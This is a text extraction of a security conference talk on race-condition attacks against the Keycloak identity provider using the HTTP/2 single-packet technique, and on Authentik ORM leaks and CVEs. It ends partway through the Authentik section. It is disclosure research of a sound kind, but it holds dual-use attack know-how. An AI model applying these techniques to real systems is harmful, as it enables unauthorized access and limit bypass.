

YOUR IDENTITY IS MINE: TECHNIQUES AND INSIGHTS FROM OPEN-SOURCE IDENTITY PROVIDERS RESEARCH

MAOR ABUTBUL

NullCon Goa 2025

YOUR IDENTITY COULD BE HELD BY

YOUR IDENTITY COULD BE HELD BY YOUR SYSTEM ADMIN?

YOUR IDENTITY COULD BE

YOUR IDENTITY COULD BE MINE?

YOUR IDENTITY COULD BE **MINE?** (OR **ANY USER** ON YOUR IDENTITY PROVIDER?)



NOT ONLY SUCCESS STORIES



Rabbit Hole

NOT ONLY SUCCESS STORIES - LEARNING OPPORTUNITIES



Rabbit Hole



Al-Generated Failure



GET /USERINFO

Name: "Maor Abutbul",

Background: "Father, Engineer, Researcher, **Gamer**", Past: "~20 Years in Network & Security,

~8 Years, from Engineering to AppSec then Research", Current: "Vulnerability Researcher @CyberArk Labs", Other Roles: "Carpenter, Yogi, Tank (gaming), CTF Player"





GET /USERINFO

Name: "Maor Abutbul",

Background: "Father, Engineer, Researcher, Gamer", Past: "~20 Years in Network & Security,

~8 Years, from Engineering to AppSec then Research", Current: "Vulnerability Researcher @CyberArk Labs", Other Roles: "Carpenter, Yogi, Tank (gaming), CTF Player"



MAIN AGENDA

- Part 1 Keycloak Research
 - Technical Background (IDP & Multithreading)
 - Limit Overrun Race Conditions
 - The Single-Packet Attack & HTTP2
 - Evaluation on Keycloak & Demo
- Part 2 Authentik Research
 - Technical Background (Object Relational Mappers)
 - Private Key Information Leak (CVE-2024-42490) & ORM Leaks
 - Authentik Privilege Escalation (CVE-2024-37905) & Demo

PART 1 – KEYCLOAK RESEARCH & WEB RACE-CONDITIONS

TECHNICAL BACKGROUND

PART 1 - AGENDA

- Part 1 Keycloak Research & Web Race-Conditions
 - Technical Background
 - Web Race Conditions
 - The Single-Packet Attack (Technique)
 - Evaluation on Keycloak & Demo
- Part 2 Authentik Research & ORM Leaks

WHAT IS AN IDENTITY PROVIDER ?

- Managing users
 - Creation
 - Login pages
 - Password policy
- Making developer's life easier
 - **integrating** with an IDP



MULTITHREADING IN (WEB) SERVERS



WEB RACE CONDITIONS

PART 1 - AGENDA

- Part 1 Keycloak Research & Web Race-Conditions
 - Technical Background
 - Web Race Conditions
 - The Single-Packet Attack (Technique)
 - Evaluation on Keycloak & Demo
- Part 2 Authentik Research & ORM Leaks

RACE CONDITIONS - THE (PROBLEM) VULNERABILITY

- Web servers process requests concurrently
 - Multiple threads interacting with the same data (at the same time)
 - Causes unintended behavior (in the application)

LIMIT OVERRUN RACE CONDITIONS

LIMIT OVERRUN RACE CONDITIONS

- Enables you to **exceed some kind of limit** imposed by the **business logic** of the application.
- Examples:
 - Redeeming a gift card multiple times
 - Withdrawing or transferring cash over your account balance
 - Bypassing an anti-brute force rate limit



LIMIT OVERRUN RACE CONDITIONS - NORMAL FLOW



RACE CONDITIONS - RACE FLOW



Limit Overrun - Requests 1&2 - Code_used = False

HOW CAN WE TEST REMOTE SERVERS FOR RACE CONDITIONS?

THE SINGLE-PACKET ATTACK (TECHNIQUE)

PART 1 - AGENDA

- Part 1 Keycloak Research & Web Race-Conditions
 - Technical Background
 - Web Race Conditions
 - The Single-Packet Attack (Technique)
 - Evaluation on Keycloak & Demo
- Part 2 Authentik Research & ORM Leaks



THE SINGLE-PACKET ATTACK - IMPLEMENTATION (SIMPLIFIED)

- Collect all of the relevant requests data
 - First, **Pre-send** the bulk (most) of each request
 - Prepare to send the final frames
 - Wait (for 100ms) to ensure the initial frames have been sent.
 - Finally, **Send** the withheld frames (on a single packet).

THE SINGLE-PACKET ATTACK ALGORITHM !? I DON'T CARE, SHOW ME (THE MONEY) HOW?

THE SINGLE-PACKET ATTACK – HOW? (USAGE)

- Tools implementing the single packet technique:
 - Detecting and exploiting race conditions with **Burp Repeater**
 - Turbo Intruder
 - <u>https://github.com/nxenon/h2spacex</u>
 - More

THE SINGLE-PACKE	I ATTACK - DURP KE	PEATER GI		דע	
RACE 3 > Race_HTTP2 3 < 12 × 13 × Send Cancel > >	14 × Race_Post 3 > Group 1 3 > 65	× + HTTP arget: ht WebSocket	Ø H	ر ۱TTP/2) : (?)
Request Pretty Raw Hex S 5 In = 1 GET /hello?name=m2a_11_00_01 HTTP/2 2 Host: my.local.org:8443 3 4	Response	In: Create tab group	÷ @	×	ul sp
		Request attributes Request query parameters		~	Ispector
		Request body parameters	0	~	
		Request cookies	0	~	
		Request headers	4	~	otes
	Burp Repeater Group				

RACE (3 > Race_HTTP2 (3 < 12 × 13 >	< 14 × 🖿 Race_Post 3 > 🖿 Gra	oup 1 3 > 65 × +	-			Q
Send Cancel C V	R	Target: ht	tps://my.loca	l.org:8443 (9 н	ттр/2 🤆
③ Group send options	Pernonce	🛄 = 🔳 In	spector	• 💷 E 🗄	- ©	X f
 ✓ Send (current tab) Ctrl+Space Send group in sequence (single connection) Send group in sequence (separate connections) 		Re	quest attribute stocol HTT	P/1 HTTP/2	2	Inspector
Send group in parallel (single-packet attack)	-	N	ame	Value		
		M	ethod	GET		> 🖹
		Pa	th	/hello		> Not
		Re	quest query pa	arameters	1	~ ^{es}
SINGLE-PACKET? MANY REQUESTS ON A SINGLE PACKET? COME ON!?

SINGLE-PACKET? COME ON

- Single packet? Many requests on a single packet?
 - Come on ?!
 - HTTP/1 mix

WOULD BE COOL IF WE COULD INSPECT THE (SINGLE PACKET) TRAFFIC IN **WIRESHARK!**

INSPECTING THE (SINGLE PACKET) - NOT SO FAST!

- Single packet HTTP/2 Only
- HTTP/2 use TLS (defacto)
 - Let's Decrypt ?
 - Diffie–Hellman (ClientKeyExchange)
 - Secrets set on connection setup
 - Browsers (and CURL)
 - (set) SSLKEYLOGFILE environment variable. (export secrets)
 - Burp -> Java ?
 - SSLKEYLOGFILE Not working
 - Other solution?
 - <u>https://github.com/neykov/extract-tls-secrets</u>

WE HAVE THE SECRETS (FOR DECRYPTION)

WE HAVE THE SECRETS (FOR DECRYPTION) -> LET'S INSPECT SOME PACKETS!

HTTP1.1 (ASCII ENCODED)

	· · · · · · · · · · · · · · · · · · ·	
> Frame 1: 625 bytes on wire (5000 bits), 625 bytes captured (5000 bits) on in	0040	1f 99 50 18 02 00 b9 73 00 00 <mark>47 45 54</mark> 20 2f 20 ···P····s ·· <mark>GET</mark>
> Ethernet II. Src: Intel cf:e5:fe (64:49:7d:cf:e5:fe). Dst: AlticeLabs 24:46:	0050	48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 HTTP/1.1 ··Hos
	0060	77 77 77 2e 79 6e 65 74 2e 63 6f 6d 0d 0a 43 6f www.ynet .com.
> Internet Protocol Version 6, Src: 2008:0041:0050:7900:0914:CarD:4550:500, DS	0070	6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 nnection : kee
> Transmission Control Protocol, Src Port: 57099, Dst Port: 80, Seq: 1, Ack: 1	0080	6c 69 76 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 live∙∙Ca che-C
✓ Hypertext Transfer Protocol	0090	72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d 0a rol: max -age=
✓ GET / HTTP/1.1\r\n	00a0	55 70 67 72 61 64 65 2d 49 6e 73 65 63 75 72 65 Upgrade- Insec
<pre>> [Expert Info (Chat/Sequence): GET / HTTP/1.1\r\n]</pre>	00b0	2d 52 65 71 75 65 73 74 73 3a 20 31 0d 0a 55 73 -Request s: 1.
Deguest Mathed, CET	0000	65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c er-Agent : Moz
Request Method: GET	00d0	61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e a/5.0 (W indow
Request URI: /	00e0	54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 T 10.0; Win64
Request Version: HTTP/1.1	00f0	36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 64) Appl eWebK
Host: www.ynet.com\r\n	0100	35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 537.36 (KHTML
Connection: keep-alive\r\n	0110	69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d ike Geck o) Ch
	0120	65 2f 31 32 35 2e 30 2e 30 2e 30 20 53 61 66 61 e/125.0. 0.0 S
Cache-Control: max-age=0 (r \n	0130	72 69 2f 35 33 37 2e 33 36 20 45 64 67 2f 31 32 ri/537.3 6 Edg
Upgrade-Insecure-Requests: 1\r\n	0140	35 2e 30 2e 30 2e 30 0d 0a 41 63 63 65 70 74 3a 5.0.0.0 · · Acce
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36	0150	20 74 65 78 74 2f 68 74 6d 6c 2c 61 70 70 6c 69 text/ht ml,ap
Accept: text/html.application/xhtml+xml.application/xml:g=0.9.image/avif.	0160	63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c cation/x html+
	0170	2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 6d 6c ,applica tion/

🔵 🌋 HTTP Request Method (http.request.method), 3 bytes

Packets: 2 · Displayed: 2 (100.0%)

HTTP1 GET (ASCII)

HTTP2 - FRAMES - BINARY (DECRYPTED TLS)

> Frame 21: 124 bytes on wire (992 bits), 124 bytes captured (992 bits) on interface \Device\NPF_{E4A852E2-8A9A-488D-9876 > Ethernet II, Src: 0a:00:27:00:00:18 (0a:00:27:00:00:18), Dst: PCSSystemtec_81:7f:85 (08:00:27:81:7f:85) > Internet Protocol Version 4, Src: 192.168.56.1, Dst: 192.168.56.102 > Transmission Control Protocol, Src Port: 63049, Dst Port: 8443, Seq: 2064, Ack: 1650, Len: 70 > Transport Layer Security > HyperText Transfer Protocol 2	0000 0010	00 00 17 41 ff ca	01 05 00 00 00 0 87 49 60 a4 43 8	05 87 8 88 21 8	2 44 92 62 72 d1 8 00 88 0c ff c0	AI,.C .	D.pr.
<pre>> Stream: HEADERS, Stream ID: 5, Length 23, GET /hello?name=m2a_11_00_03 Length: 23 Type: HEADERS (1) > Flags: 0x05, End Headers, End Stream 0 esserved: 0x0 .000 0000 0000 0000 0000 0000 0101 = Stream Identifier: 5 [Pad Length: 0] Header Block Fragment: 878244926272d141ffca874960a44388218800880cffc0 [Header Length: 110] [Header Count: 4] > Header: :scheme: https</pre>							
<pre>> Header: :method: GET > Header: :path: /hello?name=m2a_11_00_03 > Header: :authority: my.local.org:8443 [Full request URI: https://my.local.org:8443/hello?name=m2a_11_00_03] [Response in frame: 22]</pre>	Frame	(124 bytes)	Decrypted TLS (32)	bytes)	Decompressed Header (110 bytes)	
Header (http2.header), 1 byte		Pacl	kets: 23 · Displayed: 23	(100.0%)	,		Profile: Default

HTTP2 GET (Binary)

HTTP/2 MULTIPLEXING - STREAMS

📕 te	p.stream eq 0 and http2	2.streamid eq 5									X	+
No.	Time	Source	Destination	Protocol	Length I	nfo						
-+	10 0.060653 21 0.128996	192.168.56.1 192.168.56.1	192.168.56.102 192.168.56.102	HTTP2 HTTP2	550 H	HEADERS[5]:	GET /hello?r	name=m2	a_11_00_03	Mark/Unmark Packet	Ctrl+M	
*	22 0.142220	192.168.56.102	192.168.56.1	HTTP2	136 H	HEADERS[5]:	200 OK, DATA	4[5] (t	ext/plain)	Ignore/Unignore Packet	Ctrl+D	
> F > E > T > T > T + H + +	rame 10: 550 bytes thernet II, Src: 0 nternet Protocol V ransmission Contro ransport Layer Sec yperText Transfer Stream: Magic yperText Transfer Stream: SETTINGS yperText Transfer	i on wire (4400 bits), la:00:27:00:00:18 (0a: lersion 4, Src: 192.16 l Protocol, Src Port: urity Protocol 2 Protocol 2 , Stream ID: 0, Length Protocol 2	550 bytes captured (4400 20:27:00:00:18), Dst: PCS 8.56.1, Dst: 192.168.56.1 63250, Dst Port: 8443, S	bits) on Systemtec_ 02 eq: 1591,	interfac 81:7f:85 Ack: 271	ce \Device\ 5 (08:00:27 1, Len: 496	NPF_{E4A852E 2:81:7f:85)	0000 0010 0020 0030 0040 0050 0050 0050 0070 0080 0080 0080 008	08 00 27 81 7f £ 02 18 e5 59 40 € 38 66 f7 12 20 1 04 01 ae 55 00 € cb fb 33 86 32 ¢ 4e 8c d3 54 7 ff af 11 1b 4f 3 04 db 08 f3 12 cd df 3f 83 66 cf 1 17 03 03 00 39 6 17 03 03 00 39 6 14 5d 41 5e 01 c ff a 3d 43 79 5	Set/Unset Time Reference Time Shift Packet Comments Edit Resolved Name Apply as Filter Prepare as Filter Conversation Filter Colorize Conversation SCTP	Ctrl+Shift+T	@
	Stream: WINDOW_U	PDATE, Stream ID: 0, 1	ength 4				HTTP	/2 Stream	i	Follow	•	• > • • F
¥н : :	yperText Transfer Stream: HEADERS,	Protocol 2 Stream ID: 1, Length	36, GET /hello?name=m2a_	11_00_01			TCP S	Stream Stream	Ctrl+Alt+Shift+T Ctrl+Alt+Shift+S	Сору	•	V. 6 \$ L
∨ н ∨ н	Stream: HEADERS,	Stream ID: 3, Length Protocol 2	22, GET /hello?name=m2a_	11_00_02				0110 0120	38 Øc al 2e d6 1 87 bd 25 bc 76 e	Protocol Preferences Decode As	•	X··i ·
-	Stream: HEADERS,	Stream ID: 5, Length	23, GET /neilo?name=m2a_	11_00_03	-			Frame	(550 bytes) Decrypte	Show Packet in New Window ed TLS (52 bytes) Decrypted	TLS (24 bytes)	Decry 4
	parallel_single-pac	.ket_decrypted.pcaphg							Packets: 23 · Displayed:	5 (15.076)	Profile	Delault

HTTP2 Streams Single Packet

HTTP2 STREAM - SINGLE-PACKET

	tcp.stream eq 0 and http2	.streamid eq 5 🛛							X	+
No	. Time	Source	Destination	Protocol	Length Info					
-+	10 0.060653	192.168.56.1	192.168.56.102	HTTP2	550 HEADERS[5]: GET /hel	lo?name=m2	a_11_00_03			7
	21 0.128996	192.168.56.1	192.168.56.102	HTTP2	195 DATA[5]			Mark/Unmark Packet	Ctrl+M	
-	22 0.142220	192.168.56.102	192.168.56.1	HTTP2	136 HEADERS[5]: 200 OK,	DATA[5] (1	ext/plain)	Ignore/Unignore Packet	Ctrl+D	
								Set/Unset Time Reference	Ctrl+T	
· · · · · · · · · · · · · · · · · · ·	Frame 10: 550 bytes Ethernet II, Src: 0 Internet Protocol V Transmission Contro Transport Layer Sec HyperText Transfer	on wire (4400 bits), 550 a:00:27:00:00:18 (0a:00:2 ersion 4, Src: 192.168.56 l Protocol, Src Port: 632 urity Protocol 2	bytes captured (4400 7:00:00:18), Dst: PCS .1, Dst: 192.168.56.1 50, Dst Port: 8443, S	bits) on Systemtec_ 02 eq: 1591,	interface \Device\NPF_{E4A; 81:7f:85 (08:00:27:81:7f:8) Ack: 271, Len: 496	852E 0000 0010 0020 0030 0040 0050 0060	08 00 27 81 7f 6 02 18 e5 59 40 6 38 66 f7 12 20 f 04 01 ae 55 00 6 cb fb 33 86 32 c 4e 8c d3 35 4e 7 1f af 11 1b 4f 5	Time Shift Packet Comments Edit Resolved Name Apply as Filter	Ctrl+Shift+T	@···· ! ·j· · 2··P · Nw· · 02·q *
	> Stream: Magic					0070	04 db 08 f3 12 c	Conversation Filter	,	· · · P []
Y	HyperText Transfer I	Protocol 2				0080	17 03 03 00 39 CT	Conversation Filter		9-56 -
	<pre>> Stream: SETTINGS,</pre>	, Stream ID: 0, Length 24				00a0	44 5d 41 5e 01 c	Colorize Conversation	•	· · I · ·
\sim	HyperText Transfer I	Protocol 2				0060	ff fa 0a 9a 79 5	SCTP	•	уҮ(3 ·
	<pre>> Stream: WINDOW_UF</pre>	PDATE, Stream ID: 0, Lengt	th 4			HTTP/2 Strea	m	Follow	•	•>•• F
ž	HyperText Transfer I > Stream: HEADERS, HyperText Transfer I	Protocol 2 Stream ID: 1, Length 36, Protocol 2	GET /hello?name=m2a_	11_00_01		TCP Stream TLS Stream	Ctrl+Alt+Shift+T Ctrl+Alt+Shift+S	Сору	٠	V 6 \$L
	> Stream: HEADERS,	Stream ID: 3, Length 22,	GET /hello?name=m2a_	11_00_02		0110	38 Oc al 2e d6 1	Protocol Preferences	•	····
\sim	HyperText Transfer	Protocol 2				0120	87 bd 25 bc 76 e	Decode As		v
	> Stream: HEADERS,	Stream ID: 5, Length 23,	GET /hello?name=m2a_	11_00_03				Show Packet in New Window	v	
					_	Fram	e (550 bytes) Decrypte	d TLS (52 bytes) Decrypted	TLS (24 bytes)	Decry 4 >
0) 🍸 parallel_single-pac	ket_decrypted.pcapng					Packets: 23 · Displayed:	3 (13.0%)	Profile:	Default

HTTP2 Streams Single-Packet

HTTP2 STREAM - SINGLE-PACKET



HTTP2 Streams - Different Requests - Single-Packet

HTTP - TAKEAWAY

- HTTP/2 Is Binary, Using Streams
- Using streams Permits multiple requests and responses to be sent simultaneously.
 - Allows the single-packet attack to work

EVALUATION ON KEYCLOAK

PART 1 - AGENDA

- Part 1 Keycloak Research & Web Race-Conditions
 - Technical Background
 - Web Race Conditions
 - The Single-Packet Attack (Technique)
 - Evaluation on Keycloak & Demo
- Part 2 Authentik Research & ORM Leaks

FIRST TARGET - KEYCLOAK

- Open-Source IdP / IAM
- Maintained by Red Hat.
- <u>GitHub stars</u>: 24.9 k
- Shodan: ~27k internet-facing systems

Sign in to your account
Jsername or email
'assword
Forgot Password?
Sign In
New user? Register
KEYCLOAK
Keycloak Login Screen

EVERYTHING IS MULTI-STEP

EVERYTHING IS MULTI-STEP - EVALUATION

- Inspecting the Keycloak database
- The users (User Entity) table
- Separated from the Required Action table

Que	ry Query History					
<pre>1 SELECT * FROM public.user_required_action 2 ORDER BY user_id ASC, required_action ASC</pre>						
Data	a Output Messages Notifications					
=+						
	user_id [PK] character varying (36)	required_action [PK] character varying (255)				
1	2badedb6-ecca-4ccd-b8fd-4bd614b704	CONFIGURE_TOTP				
2	2badedb6-ecca-4ccd-b8fd-4bd614b704	VERIFY_EMAIL				
3	837196c6-fa3f-417e-8733-674f4ea5c717	VERIFY_EMAIL				

Actions Table

EVERYTHING IS MULTI-STEP - EVALUATION

- Inspecting the Keycloak database
- The users (User Entity) table
- Separated from the Required Action table

Required Action = Verify_Email

• By default on creation, no email verification required!?

		5. C				
Quer	y Query History					
1 2	<pre>1 SELECT * FROM public.user_required_action 2 ORDER BY user_id ASC, required_action ASC</pre>					
Data	Output Messages Notifications					
=+						
	user_id [PK] character varying (36)	required_action [PK] character varying (255)				
1	2badedb6-ecca-4ccd-b8fd-4bd614b704	CONFIGURE_TOTP				
2	2badedb6-ecca-4ccd-b8fd-4bd614b704	VERIFY_EMAIL				
3	837196c6-fa3f-417e-8733-674f4ea5c717	VERIFY_EMAIL				

Actions Table

CAN WE GAIN UNAUTHORIZED ACCESS? (USING ANY/ADMIN EMAIL)

ATTACK SCENARIO – RACING USER CREATION



LET'S INSPECT THE USER CREATION (CODE)

CAN WE GAIN UNAUTHORIZED ACCESS? - USER CREATION CODE

	UserEntity entity = new UserEntity();
114	entity.setId(<u>id</u>);
	<pre>entity.setCreatedTimestamp(System.currentTimeMillis());</pre>
	entity.setUsername(username.toLowerCase());
	entity.setRealmId(realm.getId());
	em.persist(entity);
	em.flush();
	UserAdapter userModel = new UserAdapter(session, realm, em, entity);
	if (addDefaultRoles) {
	<pre>userModel.grantRole(realm.getDefaultRole());</pre>
	// No need to check if user has group as it's new user
	realm.getDefaultGroupsStream().forEach(userModel::joinGroupImpl);
	if (addDefaultRequiredActions) {
	realm.getRequiredActionProvidersStream() Stream <requiredactionprovidermodel></requiredactionprovidermodel>
	.filter(RequiredActionProviderModel::isEnabled)
	.filter(RequiredActionProviderModel::isDefaultAction)
	.map(RequiredActionProviderModel::getAlias) Stream <string></string>
	.forEach(userModel::addRequiredAction);

Add User Code Snippet - Don't try to read

CAN WE GAIN UNAUTHORIZED ACCESS? - USER CREATION CODE



LET'S RACE AGAINST USER CREATION

CAN WE GAIN UNAUTHORIZED ACCESS? - DEBUG

» SQL Workbench/J - Copy of Keycloak - Default.wksp 📃 🔍 🗙	😐 🗮 🚥 keycloak 🗸 19 main 🗸 🖸 🗈 🗠 🖾 🖪 📋 : 🚑 Q. 🧐 – 🗆 X
File Edit View Data SQL Macros Workspace Tools Help	Γ 🗘 🗴 🗄 — 🗋 ThreadLocalResettinoRunnable.class 💿 Unsafe.class 💿 FastThreadLocalRunnable.class 💿 LoginActionsService.iava × Υ 🗄 Ω
▶ HI ◎ K < > > # # × ? y * ?	
USER_SESSION_NOTE 11 USER_ROLE_MAPPING 12	- VLGKeycloak D 735 public Response processRegister(@QueryParam(AUTH_SESSION_ID) String authSessionId, // optional, can get tr m
RESOURCE_URIS 8 WEB_ORIGINS 9 USER_SESSION 10	gn → □.idea 737 @QueryParam(SesSION_CODE) String code, code: "SdomlonPM1fYbgArdpUtUNhn me @QueryParam(Constants.EXECUTION) String execution, execution: "2408125;=
DATABASECHANGELOGLOCK 4 CLIENT 5 CLIENT_SCOPE 6 ROLE_ATTRIBUTE 7	> D.mvn 738 @QueryParam(Constants.CLIENT_ID) String clientId, clientId: "frontend_VI
ZUSER_REQUIRED_ACTION <u>1</u> USER_ENTITY <u>2</u> Database Explorer <u>3</u>	•••• > D.vscode 739 @QueryParam(Constants.TAB_ID) String tabId) { tabId: "D6toj1k-zkU"
1 @WDResult USER ENTITY 2 SELECT COUNT(*) ID, 3 REALM ID 4 FROM KEYCLOAKDB.PUBLIC.USER_ENTITY 5 group by REALM_ID; VUSER_ENTITY Messages The connection is currently busy with another request,	<pre>> Lg authz[74] > Cg authz[74] > Cg authz[74] > Cg commo 743 > Cg commo 743 > Cg core [k 2usages i Bill Burke +4 > Cg corypto 745 > Cg depend 745 > Cg depend 746 > Cg d</pre>
	Threads & Variables Console C_{α}^{c} 🔲 $ \mathbb{D} \mathbb{D} / \mathcal{U} \neq 1 / 0 / 2$:
	✓ "executor-tin": RUNNING ▼ Evaluate expression (Enter) or add a watch (Ctrl+Shift+Enter) ⇒
	Image: SprocessRegister:740, LoginActionsService Image: SprocessRegister:740, LoginActionsService@23849) Invoke:-1, LoginActionsService&guarku Image: SprocessRegister:740, LoginActionsService@23849) Invoke:-1, LoginActionsService@23849 Image: SprocessRegister:740, LoginActionsService@23849 Invoke:-1,
Debugger	Breakpoint – Database status

RACING USER CREATION - FAILED



WE LOSE THE RACE AGAINST USER CREATION :(

"LOSING" THE RACE - A LEARNING OPPORTUNITY

A LEARNING OPPORTUNITY - AVOIDING RACE CONDITIONS

- Using:
 - Debugger Breakpoints
 - Activate ORM logs (Hibernate)
- The (Missing piece) Reason

	AVOIDING RACE CONDITIONS - ORM LOGS
	ATOBINO RACE COMBINIONS - ORM LOOS
1 2024-03-05	12:49:37,781 DEBUG [org.hibernate.resource.jdbc.internal.LogicalConnectionManagedImpl] (executor-thread-1)
3 This s 4 Enabli	setting should only be enabled when you are certain that the Connections given to Hibernate by the ConnectionProvider have auto-commit disabled. ing this setting when the Connections do not have auto-commit disabled will lead to Hibernate executing SQL operations outside of any JDBC/SQL transaction.
6	
2024-03-05 8 2024-03-05	12:49:46,890 DEBUG [org.hibernate.internal.util.EntityPrinter] (executor-thread-1) Listing entities: 12:49:46,891 DEBUG [org.hibernate.internal.util.EntityPrinter] (executor-thread-1) org.keycloak.models.jpa.entities.UserEntity{lastName=null, federatedIdentities=[], realmId=
9 2024-03-05	12:49:46,895 DEBUG [org.hibernate.SQL] (executor-thread-1) insert into USER_ENTITY (CREATED_TIMESTAMP, EMAIL_EMAIL_CONSTRAINT, EMAIL_VERIFIED, ENABLED, FEDERATION_LINK, FIRST_NAME
1 /*SQL 1:221	12:15:14,000 NHO (NEWGRADDE) (SECURED FINESTAMP, EMAIL, EMAIL, EMAIL CONSTRAINT, EMAIL VERIFIED, ENABLED, FEDERATION_LINK, FIRST_NAME, LAST_NAME, NOT_BEFORE, REALM_ID, SERVICE_ACCOUNT_CL
2 /*SQL 1:60 3 /*SQL 1:133	<pre>#:1*/insert into USER_ROLE_MAPPING (ROLE_ID,USER_ID) values (?,?) {1: 'b33f62fc-51aa-4187-881b-320874b46d2d', 2: '75870b1b-8464-4525-94c2-7eb06e7c1e51'}; 3 #:1*/insert into CREDENTIAL (CREATED DATE,CREDENTIAL DATA,PRIORITY,SALT,SECRET DATA,TYPE,USER ID,USER LABEL,ID) values (?,?,?,?,?,?,?,?,?) {1: 1709635789745, 2: '{\"hashIter</pre>
4 /*SQL 1:71	#:1*/insert into USER REQUIRED ACTION (REQUIRED ACTION, USER ID) values (?,?) {1: 'VERIFY EMAIL', 2: '75870b1b-8464-4525-94c2-7eb06e7c1e51'};
.5 /^SQL 1:215	5 #:1/JUDUATE USER_ENTITY SET CREATED_TIMESTAMP=?,EMAIL_CONSTRAINT=?,EMAIL_VERIFIED=?,EMABLED=?,FEDERATION_LINK=?,FIRST_NAME=?,LAST_NAME=?,EMAIL_F?,EMAIL_TD=?,SERV
8 2024-03-05	12:49:53.988 DEBUG [org.hibernate.resource.idbc.internal.LogicalConnectionManagedImpl] (executor-thread-1) Initiating JDRC connection release from beforeTransactionCompletion
9 2024-03-05	12:49:53,990 INFO [h2database] (executor-thread-1) keycloakdb:jdbc[3]
<pre>10 /*SQL t:1*/ 1 2024-03-05</pre>	/COMMIT; 12:49:53,990 INFO [h2database] (executor-thread-1) kevcloakdb:idbc[3]
2 /*SQL */COM	
3 2024-03-05	12:49:53,990 DEBUG [org.hibernate.resource.jdbc.internal.LogicalConnectionManagedImpl] (executor-thread-1) Initiating JDBC connection release from afterTransaction

AVOIDING RACE CONDITIONS - ORM LOGS
2024-03-05 12:49:37,781 DEBUG [org.hibernate.resource.jdbc.internal.LogicalConnectionManagedImpl] (executor-thread-1) hibernate.connection.provider_disables_autocommit_was_enabled. This setting should only be enabled when you are certain that the Connection Enabling setting should only be enabled when you are certain that the Connection Enabling setting should only be enabled when you are certain that the Connection Enabling setting should only be enabled when you are certain that the Connection Enabling setting should only be enabled when you are certain that the Connection Enabling setting should only be enabled when you are certain that the Connection Enabling setting settin
ORM logs



"WITH RACE CONDITIONS, EVERYTHING IS MULTI-STEP", WELL, SOMETIMES :)

KEYCLOAK - LIMIT OVERRUN DEMO

PART 1 - AGENDA

- Part 1 Keycloak Research & Web Race-Conditions
 - Technical Background
 - Web Race Conditions
 - The Single-Packet Attack (Technique)
 - Evaluation on Keycloak &
 - Demo

Part 2 – Authentik Research & ORM Leaks

KEYCLOAK INITIAL-ACCESS-TOKEN LIMIT OVERRUN - DEMO BACKGROUND

Admin creates an API key token (for developers)

Limit the number of clients

(i.e. max = 2)

• Send the API key to the developer

The developer uses this token to create applications (clients) in Keycloak

The token's "Remaining count" is updated

Clients Clients are app	lications and services t	nat can request authenticatic	on of a user. Learn more 🗹			
Clients list	Initial access token	Client registration				
Q. Search toke	en 🔸	Create			1-1 • <	×
ID		Created date	Expires	Count	Remaining count	
c49fc551-ea4c-4	498e-96c1-4abb1810afb4	January 30, 2024 at 11:59 AM	January 31, 2024 at 11:59 AM	2	1	:
				1	-1 • · · >	

IAT-Token Creation
KEYCLOAK INITIAL-ACCESS-TOKEN LIMIT OVERRUN - DEMO

m2a_Keycloak_IAT_Demo_v2.mp4

KEYCLOAK INITIAL-ACCESS-TOKEN LIMIT OVERRUN - DEMO RESULT

Clients list	nitial access token	Client registration			
\ Search token	<i>></i>	Create			1-1 - 🗸 🔿
D		Created date	Expires	Count	Remaining count
49fc551-ea4c-498	e-96c1-4abb1810afb4	January 30, 2024 at 11:59 AM	2	-3	
					-1 + < →
		IAT-Token (F	xploited)		

KEYCLOAK INITIAL-ACCESS-TOKEN LIMIT OVERRUN - SUMMARY

- Reported the issue to the Keycloak security team
 - Confirmed, <u>Public</u>, and Fixed.

PART 1 CONCLUSION & KEYCLOAK - BLOGPOST

- Key Sections:
 - LDAP (Injections, Fuzzing)
 - Web Race Conditions Success and Failure
 - CVE-2024-1722 Denial-of-Service (DoS)

https://www.cyberark.com/resources/threat-researchblog/you-cant-always-win-racing-the-keycloak





Keycloak Blog

PART 2 – AUTHENTIK RESEARCH & ORM LEAKS

PART 2 - AGENDA

- Part 1 Keycloak Research & Web Race-Conditions
- Part 2 Authentik Research & ORM Leaks
 - (Short) Technical Background
 - Sensitive Information Leak (CVE-2024-42490)
 - ORM Leaks
 - Privilege Escalation (CVE-2024-37905)
 - Demo

(SHORT) TECHNICAL BACKGROUND

PART 2 - AGENDA

- Part 1 Keycloak Research & Web Race-Conditions
- Part 2 Authentik Research & ORM Leaks
 - (Short) Technical Background
 - Sensitive Information Leak (CVE-2024-42490)
 - ORM Leaks
 - Privilege Escalation (CVE-2024-37905)
 - Demo

OBJECT RELATIONAL MAPPERS (ORMS)

- A Programming Technique
- Work with databases using a Programming language.
- Manage data without writing SQL queries.
- Models define the structure of stored data

from django.db import models

class Person(models.Model): first_name = models.CharField(max_length=30) last_name = models.CharField(max_length=30)

Example Django Model Declaration

NEW TARGET - AUTHENTIK

- Open-Source IdP / IAM
- Maintained by goauthentik.io
- GitHub Stars: 14.6 k
- Shodan: ~4k internet-facing systems (<u>Authentik Shodan Search</u>)

• Note: "Authentik is a Django project" (Authentik docs).

authentik

Welcome to authentik!

Email or Username *

Email or Username

Log in

Authentik Login Screen

SENSITIVE INFORMATION LEAK (CVE-2024-42490)

PART 2 - AGENDA

- Part 1 Keycloak Research & Web Race-Conditions
- Part 2 Authentik Research & ORM Leaks
 - (Short) Technical Background
 - Sensitive Information Leak (CVE-2024-42490)
 - ORM Leaks
 - Privilege Escalation (CVE-2024-37905)
 - Demo

CERTIFICATES IN AUTHENTIK (BACKGROUND)

- Certificates (stored on the Authentik database)
 - Authentik Web Server (HTTPS)
 - Sign OAuth2 tokens (Identity provider Config)



Certificate

CERTIFICATES MANAGEMENT (AUTHENTIK)

